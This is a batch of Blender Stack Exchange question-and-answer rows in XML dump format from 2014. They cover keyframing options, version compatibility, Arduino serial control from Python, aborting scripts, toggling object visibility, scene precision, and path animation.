  <row Id="6774" PostTypeId="2" ParentId="6763" CreationDate="2014-02-05T04:54:44.540" Score="12" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Auto Keyframing&lt;/strong&gt;:&lt;br&gt;&#xA;Enable it and create a new scene, add a cube for example, then move the cube, scroll to a different frame on the timeline, and move the cube again. Keyframes will automatically be created for the transformations (inserts a &lt;em&gt;LocRotScale&lt;/em&gt; group if you e.g. use &lt;kbd&gt;G&lt;/kbd&gt; to translate the object).&lt;br&gt;&#xA;You can find the same toggle in the timeline header (icon only, red circle).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Show Auto Keying Warning&lt;/strong&gt;:&lt;br&gt;&#xA;If Auto Keyframing is active, a notice will appear in the upper-right corner of the 3D View &lt;em&gt;during&lt;/em&gt; transformations, to inform/remind the user, that new keyframes are going to be added (if one confirms the transformation).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Only Insert Available&lt;/strong&gt;:&lt;br&gt;&#xA;Keyframes will be added to existing F-Curves only, and no new groups are implicitly created for you. So manually keyframe e.g. &lt;em&gt;Location&lt;/em&gt; once, then change time and move the object around. Keyframes will be created for its translation, but not for rotation or scale, because rotation and scale don't have keyframes / F-Curves yet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Visual Keying&lt;/strong&gt;:&lt;br&gt;&#xA;From blender wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is to be used with objects or bones that have&#xA;  certain constraints that can affect the key values. For example,&#xA;  setting a key on an object with a Copy Location constraint would&#xA;  normally set the key for it’s unconstrained location. Enabling this&#xA;  option causes the key to be set for the constrained location.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Only Insert Needed&lt;/strong&gt;:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will add keys only when needed (i.e. only to F-Curves controlling&#xA;  properties that are changing).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For completeness: the documentation on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Timeline&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Timeline&lt;/em&gt;&lt;/a&gt; has more detailed information.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="29" LastEditDate="2014-02-05T17:07:07.297" LastActivityDate="2014-02-05T17:07:07.297" CommentCount="4" CommunityOwnedDate="2014-02-05T04:54:44.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="6775" PostTypeId="2" ParentId="6744" CreationDate="2014-02-05T05:22:07.467" Score="1" Body="&lt;p&gt;2.63 was another version that broke backwards data compatibility (adding bmesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say always update to an &lt;code&gt;a&lt;/code&gt; or &lt;code&gt;b&lt;/code&gt; version as they are specific bug fixes that are considered show-stoppers found after release. The fix is important enough to do an extra release for that version, the bug fix is the only change from the previous release. Other versions could be skipped if they don't add any new features that you would want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly the biggest area of compatibility breakage between versions has been with python scripts - this is happening less though. If you have any scripts you rely on you may want to test them in a new version.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-05T05:22:07.467" CommentCount="0" CommunityOwnedDate="2014-02-05T05:22:07.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="6776" PostTypeId="2" ParentId="6767" CreationDate="2014-02-05T05:48:27.210" Score="3" Body="&lt;p&gt;There is an addon called AnimAll that you may want to activate. &lt;a href=&quot;https://www.youtube.com/watch?v=xlJ71XChDuY&quot; rel=&quot;nofollow noreferrer&quot;&gt;watch this tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find that custom &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations&quot; rel=&quot;nofollow noreferrer&quot;&gt;transform orientations&lt;/a&gt; can be helpful to define the centre of rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tip is to select two vertices and then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; Cursor to selected and set pivot point to 3dCursor. This really only helps if the line is parallel to an axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pv3Sw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kuSNH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-02-05T05:48:27.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6777" PostTypeId="2" ParentId="6767" CreationDate="2014-02-05T06:34:26.873" Score="3" Body="&lt;p&gt;Interesting question. I am not really sure what the best approach is. So I did some experimentation and this seems like one way to do it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start with a plane. Subdivide/Knife where you want to fold the sheet. Create a basis shape key.&lt;/li&gt;&#xA;&lt;li&gt;Use a separate shape key to record each folding step. Subdivide/Knife the geometry as necessary as you go. Set Pivot Point to 3D cursor.&lt;/li&gt;&#xA;&lt;li&gt;Throw in a Bevel modifier to create the 'crease' in the paper.&lt;/li&gt;&#xA;&lt;li&gt;Animate the shape keys.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CbW2G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-05T06:34:26.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6779" PostTypeId="1" AcceptedAnswerId="6789" CreationDate="2014-02-05T09:27:51.560" Score="4" ViewCount="313" Body="&lt;p&gt;I have a script which is not working on Blender 2.69, but it works fine on the latest build from &lt;a href=&quot;http://builder.blender.org/download&quot; rel=&quot;nofollow&quot;&gt;builder.blender.org/download&lt;/a&gt;. Perhaps they tweaked something in how rigid body simulations are baked to keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I expect my script to work with the next Blender release?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, do the daily builds have experimental features which will be removed or is it typically just features that are planned to be included with the next release?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1363" LastEditDate="2014-02-05T15:38:17.977" LastActivityDate="2015-02-02T08:38:00.803" Title="Are features from Blender daily builds typically in next release?" Tags="&lt;versions&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6780" PostTypeId="2" ParentId="6494" CreationDate="2014-02-05T10:01:07.233" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Download blender 2.69 win32 bit version : &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/download/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download python 3.3: &lt;a href=&quot;http://www.python.org/getit/releases/3.3.0/&quot; rel=&quot;nofollow&quot;&gt;http://www.python.org/getit/releases/3.3.0/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download pyserial for 3.3 : &lt;a href=&quot;http://www.lfd.uci.edu/~gohlke/pythonlibs/&quot; rel=&quot;nofollow&quot;&gt;http://www.lfd.uci.edu/~gohlke/pythonlibs/&lt;/a&gt;     -&gt;   pyserial-2.7.win32-py3.3.exe&lt;/li&gt;&#xA;&lt;li&gt;Copy all the newly downloaded files for pyserial3.3 into the blender/python files, trying to map them to the same places. Use the &quot;pyserial-wininst.txt&quot; file for help&lt;/li&gt;&#xA;&lt;li&gt;Download 'MPide' and load code onto the UNO32 board that will accept incoming serial data. Here is an example (sorry for the lack of new lines):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;    #include &amp;lt;Servo.h&amp;gt;&#xA;&#xA;    // Servos to be used&#xA;    Servo servo1;&#xA;    int pos = 0;    // variable to store the servo position &#xA;&#xA;    void setup()&#xA;    {&#xA;      // This is using pin 9 (change accordingly)&#xA;      servo1.attach(9);  // attaches the servo on pin 9 to the servo object &#xA;      pinMode(13, OUTPUT); //LED&#xA;      // initialize the serial port&#xA;      Serial.begin(9600);&#xA;      servo1.write(45); //initial servo position&#xA;    }&#xA;&#xA;    int angle, light=0;&#xA;&#xA;    void loop()&#xA;    {  &#xA;      // wait for the servo angle&#xA;      if(Serial.available() &amp;gt; 2){&#xA;        angle = Serial.read();&#xA;        servo1.write(angle);&#xA;        if (light==0) { &#xA;          digitalWrite(13, HIGH); &#xA;          light=1;   // set the LED on &#xA;        }&#xA;        else { &#xA;          digitalWrite(13, LOW);&#xA;          light =0;    // set the LED off&#xA;        }&#xA;      }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;open blender, open the console, type &quot;import serial&quot;  - if no probs the import worked. Next change servo angle as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import serial&#xA;&amp;gt;&amp;gt;&amp;gt; ser = serial.Serial('COM7')  #if using com7 port&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; # uses a byte array to send data to Arduino board &#xA;&amp;gt;&amp;gt;&amp;gt; ser.write(bytearray([45])) &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is some extra info I got from various places:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; #In Python 3.x the strings are unicode by default.&#xA;&amp;gt;&amp;gt;&amp;gt; ser.write(b '255')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When sending data to Arduino, they have to be converted to bytes. This can be done by prefixing the string with &lt;code&gt;b&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since serial communication is for bytes, you would need to convert the int to a byte string. So the moral of the story is.. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the port is opened when initialized. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ser.open()&lt;/code&gt; fails because the serial port is already opened by the &lt;code&gt;ser = serial.Serial(.....)&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;One cannot send strings directly with &lt;code&gt;serial.write()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;but, &lt;code&gt;ser.write(bytearray(TheString,'ascii'))&lt;/code&gt; does the job - which I have adapted to &lt;code&gt;ser.write(bytearray([45]))&lt;/code&gt;. like: &lt;code&gt;data = bytearray(data,'ascii') in ser.write()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="47" LastEditDate="2015-06-24T10:33:49.987" LastActivityDate="2015-06-24T10:33:49.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6781" PostTypeId="1" AcceptedAnswerId="6980" CreationDate="2014-02-05T10:13:03.160" Score="9" ViewCount="2064" Body="&lt;p&gt;My script runs through a &lt;code&gt;for&lt;/code&gt; loop, each time rendering a frame. How can I abort the script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I'd use &lt;kbd&gt;CTL&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; in the terminal Blender was launched from, but this doesn't work.  It just waits until the current frame is done and then raises a &lt;code&gt;KeyboardInterrupt&lt;/code&gt; exception in some file called &lt;code&gt;.../2.69/scripts/addons/cycles/engine.py&lt;/code&gt;, but continues on to the next frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simplified version of my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;framesToRender = (1, 3, 4, 6, 7)&#xA;&#xA;for frame in framesToRender:&#xA;    bpy.context.scene.frame_set(frame)&#xA;    bpy.context.scene.render.filepath = &quot;/home/garrett/Desktop/&quot; + str(frame).zfill(4)&#xA;    bpy.ops.render.render(write_still=True)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've figured out to stop it is by killing Blender from the System Monitor (for Ubuntu), or close the terminal Blender was launched from. Using &lt;a href=&quot;http://en.wikipedia.org/wiki/Xkill&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;xkill&lt;/code&gt;&lt;/a&gt; on Blender kills the user interface, but doesn't stop the script.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1363" LastEditDate="2014-02-11T22:50:33.577" LastActivityDate="2014-02-13T09:23:41.200" Title="Abort script that renders frames" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6782" PostTypeId="1" AcceptedAnswerId="6788" CreationDate="2014-02-05T11:17:57.233" Score="4" ViewCount="12205" Body="&lt;p&gt;When using the Text Editor, what is the best command to include inside a script which will abort the script at that line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;quit()&lt;/code&gt; and &lt;code&gt;sys.exit()&lt;/code&gt; stop the script, but also kill Blender.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-02-05T12:26:51.843" LastActivityDate="2021-05-10T10:31:23.583" Title="Python command within script to abort without killing Blender" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6784" PostTypeId="2" ParentId="6782" CreationDate="2014-02-05T11:25:17.233" Score="14" Body="&lt;p&gt;If it is meant to be temporary while drafting the script, raising an exception is probably the easiest solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;raise Exception()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it is not meant to be temporary you may consider reorganizing your code using additional functions or logic/control flow. Python actually runs faster if the code is wrapped in functions. (see this &lt;a href=&quot;https://stackoverflow.com/questions/11241523/why-does-python-code-run-faster-in-a-function&quot;&gt;post on stackoverflow&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The equivalent to running the code from the text editor is (see &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/info_tips_and_tricks.html&quot; rel=&quot;noreferrer&quot;&gt;api docs&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filename = &quot;/full/path/to/myscript.py&quot;&#xA;exec(compile(open(filename).read(), filename, 'exec'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calling &lt;code&gt;sys.exit()&lt;/code&gt; raises an exception which is allowed to propagate and thus exits blender. (see&#xA;&lt;a href=&quot;http://docs.python.org/3/library/exceptions.html#SystemExit&quot; rel=&quot;noreferrer&quot;&gt;SystemExit&lt;/a&gt;, &#xA;&lt;a href=&quot;http://docs.python.org/3/library/sys.html#sys.exit&quot; rel=&quot;noreferrer&quot;&gt;exit()&lt;/a&gt;,&#xA;&lt;a href=&quot;http://docs.python.org/3/library/functions.html?highlight=exec#exec&quot; rel=&quot;noreferrer&quot;&gt;exec()&lt;/a&gt;&#xA;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may run your script manually with &lt;code&gt;exec&lt;/code&gt; and catch an exception, i.e. &lt;code&gt;SystemExit&lt;/code&gt;, with &lt;code&gt;try ... except&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-02-05T17:16:45.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6786" PostTypeId="1" AcceptedAnswerId="6898" CreationDate="2014-02-05T13:32:08.880" Score="12" ViewCount="17793" Body="&lt;p&gt;For quite long time, I was looking for a faster way to toggle (or toggle off) visible / selectable and renderable for many objects, as illustrated below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CftCF.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P0sOy.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e4Iw5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know we can do the relatively quick select by dragging in the Outliner, but it is not so fast though; Also, we can try &lt;kbd&gt;H&lt;/kbd&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;, as well as &lt;em&gt;Ristrict Render&lt;/em&gt;, but the objects must be selectable first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I do this in a faster way? Script would be acceptable, if necessary.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To simplify my question in another way: &lt;strong&gt;Is there a way to make all hilighted items listed in Outliner to have either of these properties unified?&lt;/strong&gt;  For example, I want to have all objects selectable, what should I do instead of having to toggling them one by one? Intuitively, I tried to press &lt;kbd&gt;A&lt;/kbd&gt; twice in Outliner, then hit &lt;kbd&gt;S&lt;/kbd&gt;, I thought it would work similar to what &lt;kbd&gt;A&lt;/kbd&gt; works everywhere, I mean a kind of &quot;unified&quot; toggle, to toggle all of them on or off, regardless their initial slectibility. But appearently it cannot be done in this way. So I'm looking for a better way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think is to group them all first, then switch the outliner display type to &lt;strong&gt;Groups&lt;/strong&gt;, now I can toggle them all by a single click. However, four problems here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Again, It doesn't work with the unselectable or invisible ones, which cannot be grouped since I cannot even select them.&lt;/li&gt;&#xA;&lt;li&gt;it means I have to give up the current selection first, which is sometimes unwanted.&lt;/li&gt;&#xA;&lt;li&gt;Even if all objects are initially selectable and I don't care to give up the current selection, creating a temporary group then delete it afterwards seems not as fast as expected.&lt;/li&gt;&#xA;&lt;li&gt;I'm particularly talking about a complicated scene with a large number of objects, which makes Outliner the important place to organize them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-05T16:02:20.247" LastActivityDate="2014-02-10T07:08:01.383" Title="How to toggle visibible / selectable / renderable for multiple objects?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;3d-view&gt;&lt;outliner&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6787" PostTypeId="2" ParentId="6786" CreationDate="2014-02-05T14:26:00.857" Score="4" Body="&lt;p&gt;As a start you could begin with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for sel in bpy.context.selected_objects:&#xA;    sel.hide = True&#xA;&#xA;for sel in bpy.context.selected_objects:&#xA;    sel.hide = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To switch between the two states, one could check if all objects are visible. If so, unhide them. Else hide them. Then bind the script to a shortcut.&#xA;I'm pretty new to python but implemented such a function in 3dsmax a while ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is for Restricted rendering:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for sel in bpy.context.selected_objects:&#xA;    sel.hide_render = True&#xA;&#xA;for sel in bpy.context.selected_objects:&#xA;    sel.hide_render = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers, &#xA;Michael&lt;/p&gt;&#xA;" OwnerUserId="1229" LastEditorUserId="1229" LastEditDate="2014-02-05T14:33:47.137" LastActivityDate="2014-02-05T14:33:47.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6788" PostTypeId="2" ParentId="6782" CreationDate="2014-02-05T14:56:52.850" Score="10" Body="&lt;p&gt;I believe the answer to &lt;a href=&quot;https://stackoverflow.com/questions/189645/how-to-break-out-of-multiple-loops-in-python&quot;&gt;How to break out of multiple loops in python?&lt;/a&gt; applies here too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Refactor your script!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't run all your code in the global scope, but organize everything in functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how your script might look at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def process(val):&#xA;    return val * 2&#xA;&#xA;for i in range(5):&#xA;    print(process(i))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you already use some &lt;code&gt;def&lt;/code&gt;'s and call them from a small portion of code, which resides in the global scope (no indentation), make this portion another function and only place the call to this function in the global scope. If no, wrap your entire code into a function &lt;code&gt;main()&lt;/code&gt; (you may use any name here actually):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def process(val):&#xA;    return val * 2&#xA;&#xA;def main():&#xA;    # This code used to be in the global scope...&#xA;    for i in range(5):&#xA;        print(process(i))&#xA;&#xA;# ... but now, only the call to our 'main' function resides in global scope!&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do we gain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's easy to raise an exception at any level of your script, and catch it at the highest level, so no error is printed or otherwise shown to the user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExitOK(Exception):&#xA;    pass&#xA;&#xA;def process(var):&#xA;    raise ExitOK # quit script immediately&#xA;    return val * 2&#xA;&#xA;def main():&#xA;    for i in range(5):&#xA;        print(process(i))&#xA;&#xA;try:&#xA;    main()&#xA;except ExitOK:&#xA;    print(&quot;OK&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I derived the class &lt;code&gt;ExitOK&lt;/code&gt; from the &lt;code&gt;Exception&lt;/code&gt; class to create a new exception, so we can raise and catch a distinct one. This means the script can still error out on other exceptions and show a traceback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to code anything for our &lt;code&gt;ExitOK&lt;/code&gt; exception for our purposes, we just use &lt;code&gt;pass&lt;/code&gt;, 'cause every class needs a body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also define another exception, e.g. &lt;code&gt;ExitError&lt;/code&gt;, to stop your script at any level and print a different message (to inform about the error without the Blender popup thing):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExitError(Exception):&#xA;    pass&#xA;&#xA;# ...&#xA;&#xA;try:&#xA;    main()&#xA;except ExitOK:&#xA;    print(&quot;OK&quot;)&#xA;except ExitError:&#xA;    print(&quot;Failed&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also give more detailed information about the exit reason like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def process(val):&#xA;    raise ExitError(&quot;quit process() with value %i&quot; % val)&#xA;&#xA;# ...&#xA;&#xA;try:&#xA;    main()&#xA;except ExitError as e:&#xA;    print(&quot;Failed:&quot;, e)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-02-06T17:07:35.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6789" PostTypeId="2" ParentId="6779" CreationDate="2014-02-05T16:12:59.617" Score="5" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt; they will typically be in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;strong&gt;Variation&lt;/strong&gt; column on the builder download page, if it's &lt;strong&gt;Official&lt;/strong&gt;, then it's build straight from current &lt;code&gt;master&lt;/code&gt; branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features available in these official builds will typically be in the stable releases, although there are rare exceptions when a feature may be disabled (if its not ready) or removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a new feature, but still under heavy development. It is supposed to be initially released in 2.70. But the current release cycle has been streched a lot already, and people may eagerly wait for other things to be available in a stable release. So the developers may decide to do a release soon. They post-pone the tabs for 2.71, to let them mature, and not throw them in an unfinished state at the users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you rely on certain features in an addon for example, and want to ensure compatibility with the next stable release, I would wait for the first &lt;strong&gt;Release Candidate&lt;/strong&gt; (expect 2.70 RC1 at the end of February). If nobody finds bugs in the RC, it will become the stable release. Otherwise there will be another or even a third RC, until all show-stopper problems are solved. Hence, all features of the RC will be in the stable release (functional changes are not allowed in this phase).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2015-02-02T08:38:00.803" LastActivityDate="2015-02-02T08:38:00.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6790" PostTypeId="1" CreationDate="2014-02-05T16:47:55.723" Score="2" ViewCount="296" Body="&lt;p&gt;I'm working on a project for some architects. I have following requirement:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The maximal allowed error is 1cm.&lt;/li&gt;&#xA;&lt;li&gt;Many people will work on that plan for some years. I think every Object/Vertex may be moved maximal 1000 times, so the maximal error per move shouldn't be above a 1/100th of mm.&lt;/li&gt;&#xA;&lt;li&gt;The project is 15km big on each side.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I take a special value for the world scale instead of the default 1BU = 1m to ensure that precision over the years?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are object on the border (7,5km away from origin) more problematic because of the floating point value system ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender stores vertex as 32bits float as far as I know. Is that per dimension (32bit x, 32bit y and 32bit z) or the total?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="296" LastEditorUserId="599" LastEditDate="2015-07-14T07:35:28.143" LastActivityDate="2015-07-14T07:35:28.143" Title="How can I ensure a minimal precision of 1cm in my project?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;&lt;geometry&gt;&lt;units&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6791" PostTypeId="1" CreationDate="2014-02-05T18:12:43.983" Score="5" ViewCount="7392" Body="&lt;p&gt;I'm a little new to Blender and I have an object traveling along a path. However, I need the object to stay locked in a specific orientation while it traverses the path from start to finish. Think of a camera dolly except on a curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Top view, create a S-shaped 2d curve from left to right (say about X axis). Create an cube object with a more vertical aspect ratio (oriented in Y axis, top is pointing to +Y). Add Follow path (if that's the best choice) to the cube in order to travel along the 2D curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the top view, I would like the cube to remain in it's original +Y orientation (aligned parallel to the Y axis), yet animate along the 2D curve from start point to end point of the path. No matter what options I set in either the Follow Path constraint or on the object, the object always wants to snap the original Y axis of the object normal to the curve.&lt;/p&gt;&#xA;" OwnerUserId="2368" LastEditorUserId="2217" LastEditDate="2014-10-03T00:09:09.467" LastActivityDate="2014-10-03T00:09:09.467" Title="How to lock object rotation along a path" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6792" PostTypeId="2" ParentId="6791" CreationDate="2014-02-05T18:46:22.493" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Select your path / curve object&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Properties Editor &gt; Object data&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find the &lt;em&gt;Path Animation&lt;/em&gt; panel&lt;/li&gt;&#xA;&lt;li&gt;Untick &lt;strong&gt;Follow&lt;/strong&gt; to disable the rotation along path&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/khkDv.png&quot; alt=&quot;Curve Path Animation don&amp;#39;t follow&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-05T18:46:22.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
